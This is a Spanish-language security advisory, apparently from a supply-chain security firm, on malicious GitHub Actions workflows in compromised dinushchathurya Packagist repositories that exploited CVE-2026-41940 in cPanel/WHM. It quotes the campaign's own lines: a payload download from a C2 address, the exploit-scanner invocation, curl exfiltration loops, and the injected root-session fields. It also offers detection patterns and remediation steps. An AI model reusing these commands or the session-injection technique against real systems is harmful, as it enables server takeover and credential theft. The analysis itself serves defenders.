CVE
CVE-2026-41940
CWE
CWE-93, CWE-506
Sistemas afectados
- Development versions of ten Packagist packages under the `dinushchathurya/*` namespace: `nationality-list`, `srilankan-divisional-secretariats`, `srilankan-gn-divisions`, `srilankan-local-authorities`, `srilankan-mobile-number-validator`, `srilankan-state-hospitals`, `srilankan-universities`, `uk-mobile-number-validator`, `uk-post-code`, and `websmslk`
- Compromised GitHub repositories whose root `.github/workflows/` directories carried the injected workflow set and launched GitHub-hosted Ubuntu runners
- Internet-facing cPanel and WHM deployments after `11.40` and before the vendor-fixed builds, plus `WP Squared` up to `11.136.1.6`
- Linux GitHub Actions runners that downloaded and executed the campaign payload from `43[.]228[.]157[.]68`
La historia de cadena de suministro más relevante de los últimos tres días no es un incidente clásico de registro de tipo “instala este paquete, ejecuta este implante”. Es una campaña de abuso de CI donde el ecosistema de paquetes sirvió como la pista de distribución, mientras que la capa de ejecución real vivía en GitHub Actions. La investigación de Socket del 22 de julio muestra que diez versiones de desarrollo comprometidas de Packagist bajo dinushchathurya/* contenían 583 archivos de flujo de trabajo maliciosos que convirtieron en armas los runners Linux alojados en GitHub para escanear internet, explotar CVE-2026-41940 en cPanel y WHM, y exfiltrar cualquier credencial del lado del servidor que pudieran alcanzar.
Ese detalle arquitectónico importa. El código del paquete PHP no era el cuerpo principal del malware. La lógica de ataque vivía bajo .github/workflows/, lo que significa que un composer install ordinario de las versiones de desarrollo afectadas no ejecutaba automáticamente la campaña en la estación de trabajo del consumidor. En su lugar, la ejecución ocurría cuando un repositorio comprometido recibía un push o alguien activaba manualmente el flujo de trabajo inyectado. En otras palabras, el artefacto del paquete expuso el compromiso, pero GitHub Actions proporcionó al atacante cómputo Linux descartable.
Conjunto de paquetes y proyectos afectados
Socket atribuye las versiones de desarrollo maliciosas a diez paquetes de Packagist asociados con la cuenta de mantenedor comprometida dinushchathurya:
dinushchathurya/nationality-listdinushchathurya/srilankan-divisional-secretariatsdinushchathurya/srilankan-gn-divisionsdinushchathurya/srilankan-local-authoritiesdinushchathurya/srilankan-mobile-number-validatordinushchathurya/srilankan-state-hospitalsdinushchathurya/srilankan-universitiesdinushchathurya/uk-mobile-number-validatordinushchathurya/uk-post-codedinushchathurya/websmslk
Las versiones de desarrollo se sincronizaron desde los repositorios de GitHub comprometidos entre el 12 y el 13 de julio de 2026. Los informes públicos son claros en que el código malicioso residía en los directorios de flujo de trabajo raíz de los repositorios en lugar de en la lógica de la biblioteca PHP en sí.
El límite de ejecución real fue .github/workflows/
El conjunto de flujos de trabajo recuperado por Socket es inusualmente explícito sobre su propósito. En el artefacto representativo srilankan-local-authorities@dev-main, el flujo de trabajo se activa con cualquier push o despacho manual y solicita un runner Ubuntu de larga duración:
on:
push:
branches: ['**']
workflow_dispatch:
jobs:
run:
runs-on: ubuntu-latest
timeout-minutes: 350
Esa es la primera lección operativa. Un archivo de flujo de trabajo es contenido ejecutable de la cadena de suministro. Si un atacante puede colocar código bajo .github/workflows/, no necesita esperar a que un desarrollador importe una biblioteca. GitHub le proporcionará el entorno de ejecución.
La segunda lección es cuán poca lógica tenía que residir en el repositorio. El flujo de trabajo realiza detección de arquitectura y luego obtiene la carga útil real de Linux desde un C2 codificado de forma fija:
curl -sfL http://43[.]228[.]157[.]68/api/dl/$_s -o /tmp/.svc ||
wget -qO /tmp/.svc http://43[.]228[.]157[.]68/api/dl/$_s
chmod 755 /tmp/.svc
Ese diseño mantiene el artefacto del lado del repositorio pequeño y reemplazable. El YAML malicioso solo necesita arrancar el runner. El atacante puede iterar la carga útil por completo fuera de la plataforma cambiando la respuesta del servidor en 43[.]228[.]157[.]68.
El runner se usó como un nodo distribuido de explotación Linux
Una vez que el flujo de trabajo descarga la carga útil, ejecuta un escáner con opciones que hacen inequívoca la intención de la campaña:
PANEL_URL="http://43[.]228[.]157[.]68:80" \
GOMEMLIMIT=2147483648 \
/tmp/.svc ipscan \
--source random,all \
--exploit CVE-2026-41940 \
--git \
--envdump \
--ports 80,443,8080,8443,2082,2083,2086,2087 \
--git-workers 20 \
--count 0 \
--no-reverse
Esto no es un procesamiento posterior especulativo u oportunista. La línea de comandos nombra directamente la vulnerabilidad objetivo, enumera puertos relacionados con cPanel/WHM y habilita simultáneamente el volcado de control de código fuente y de entorno. El runner alojado en GitHub se convierte en:
- un escáner Linux,
- un cliente de explotación de
CVE-2026-41940, - un colector de recolección de credenciales, y
- un host de ejecución descartable que el atacante no necesita mantener.
Por eso este incidente pertenece a una biblioteca de cadena de suministro, aunque la principal víctima posterior pueda ser un plano de control de hosting en lugar del propio consumidor del paquete. El compromiso del repositorio se convirtió en infraestructura de ataque.
Por qué CVE-2026-41940 es un objetivo posterior tan valioso
El aviso del proveedor de abril y múltiples análisis públicos coinciden en el fallo central: cpsrvd tenía dos rutas de escritura de sesión, y la ruta de autenticación básica HTTP podía escribir bytes de contraseña controlados por el atacante sin depurar en el archivo de sesión sin procesar. Los análisis técnicos públicos describen la cadena de la siguiente manera:
saveSession() writes attacker-controlled password bytes
-> attacker omits the cookie's obfuscation component so data lands unencrypted
-> raw session file is reparsed through Cpanel::Session::Modify(..., nocache => 1)
-> injected lines become top-level session keys
-> forged root session is accepted as authenticated
Los campos inyectados en los que se centraron los investigadores públicos son exactamente los que los defensores deben entender:
user=root
hasroot=1
tfa_verified=1
successful_internal_auth_with_timestamp=...
La lección clave de seguridad de aplicaciones no es la novedad del exploit. Es el radio de impacto. WHM es el plano de control del lado del servidor por encima de las cuentas individuales de cPanel. Una explotación exitosa puede exponer sitios web alojados, bases de datos, configuración de correo electrónico, secretos de despliegue y entornos de otros inquilinos desde un único host Linux.
La ruta de exfiltración se construyó para el robo prolongado en CI
Los flujos de trabajo no dispararon y se olvidaron. Se construyeron para transmitir telemetría y resultados incrementales de vuelta al operador. Socket recuperó un bucle de latido:
curl -s -X POST "$PANEL/api/github-heartbeat" \
--data-urlencode "repo=$REPO" \
--data-urlencode "log=$LINE"
Y un cargador de resultados independiente:
curl -s --max-time 20 -X POST "$PANEL/api/github-results" \
--data-urlencode "filename=$F" \
--data-urlencode "content=$CHUNK" \
--data-urlencode "repo=$REPO" \
--data-urlencode "run_id=${GITHUB_RUN_ID:-0}" \
--data-urlencode "offset=$SENT"
Esas solicitudes POST hacen explícitas las categorías de datos robados previstas. Los informes públicos indican que los flujos de trabajo monitoreaban y subían:
- credenciales de AWS
- tokens de GitHub y GitLab
- credenciales de OpenAI y Google
- secretos de Stripe, SendGrid, Mailgun y Brevo
- credenciales de bases de datos
- material SSH
- remotos de Git
- configuración de aplicaciones y archivos de entorno
Por eso la campaña no debe archivarse simplemente como “solo un fallo de cPanel” o “solo una anomalía de Packagist”. El atacante usó el compromiso del repositorio para convertir CI en una malla de recolección de credenciales.
Los pivotes de DNS y reutilización de código muestran que esto no fue aislado
Socket informa que catorce flujos de trabajo recuperados consultaron una devolución de llamada DNS común:
nslookup f5b0b742-240a-4811-8a5b-b0ba6060685d.dnshook[.]site
Eso dio a los defensores un útil punto de correlación. Las búsquedas del mismo identificador de DNSHook produjeron aproximadamente 6.100 archivos de flujo de trabajo coincidentes, mientras que consultas más amplias usando la dirección C2, los argumentos del escáner y los endpoints de exfiltración produjeron entre 15.000 y 16.000 coincidencias. Esas cifras no significan quince mil repositorios víctima confirmados. Pero sí significan que el patrón de código se propagó mucho más allá de una cuenta de mantenedor y un espacio de nombres de paquetes.
Delimitando tu exposición
Si mantienes repositorios PHP o de lenguaje mixto con GitHub Actions, investiga primero la capa de flujo de trabajo:
rg -n "43\\.228\\.157\\.68|api/github-heartbeat|api/github-results|dnshook\\.site|--exploit CVE-2026-41940" \
.github/workflows
git log --stat -- .github/workflows
Si tu cadena de suministro de software consumió versiones de desarrollo de los paquetes de Packagist afectados, inspecciona los lockfiles y las referencias de control de versiones en lugar de solo los nombres de paquetes:
rg -n "dinushchathurya/(nationality-list|srilankan-divisional-secretariats|srilankan-gn-divisions|srilankan-local-authorities|srilankan-mobile-number-validator|srilankan-state-hospitals|srilankan-universities|uk-mobile-number-validator|uk-post-code|websmslk)" \
composer.lock composer.json
Para los operadores de cPanel/WHM, trata la exposición sin parchear durante la ventana del incidente como un posible compromiso del servidor y ejecuta inmediatamente las herramientas de IOC del proveedor. Debido a que la ruta de explotación envenenó el estado de la sesión, los artefactos del almacén de sesiones y las sesiones privilegiadas inusuales importan tanto como los registros ordinarios de acceso web.
Guía de respuesta
- Deshabilita o elimina los flujos de trabajo no autorizados y preserva los commits maliciosos junto con los registros de GitHub Actions antes de la limpieza.
- Rota las credenciales de GitHub, las concesiones de GitHub App/OAuth y cualquier secreto accesible para los flujos de trabajo comprometidos.
- Elimina las versiones de desarrollo de Packagist afectadas y vuelve a fijar a commits conocidos como buenos o versiones estables.
- Aplica el parche a cPanel/WHM en las versiones corregidas por el proveedor y restringe los puertos
2082,2083,2086y2087a redes de confianza. - Investiga los servidores cPanel en busca de sesiones no autorizadas, nuevas claves SSH, configuraciones de aplicación alteradas y cualquiera de las familias de credenciales mencionadas anteriormente.
La lección más amplia es simple: la configuración de CI es código ejecutable, y el código ejecutable dentro de un repositorio forma parte de la cadena de suministro de software, tanto si se envía en la carga útil del paquete como si no. En esta campaña, las versiones del paquete fueron la migaja de pan, pero GitHub Actions fue el arma.
De la investigación a la remediación
Comprueba si este patrón existe en tu código
Convierte esta investigación en un flujo de remediación. Analiza dependencias y manifiestos para detectar riesgos similares en la cadena de suministro y prioriza las correcciones con contexto de alcanzabilidad.
Referencias
- Socket: el abuso de GitHub Actions a gran escala impulsa una campaña distribuida de explotación de cPanel y WHM
- cPanel: respuesta, acciones y próximos pasos ante CVE-2026-41940
- NVD: CVE-2026-41940
- CISA KEV: CVE-2026-41940
- SecurityOnline: el abuso de GitHub Actions alimenta ataques a cPanel y WHM
- BleepingComputer: fallo crítico de cPanel y WHM explotado como día cero, PoC ya disponible
- SecurityWeek: más de 40.000 servidores comprometidos en la explotación continua de cPanel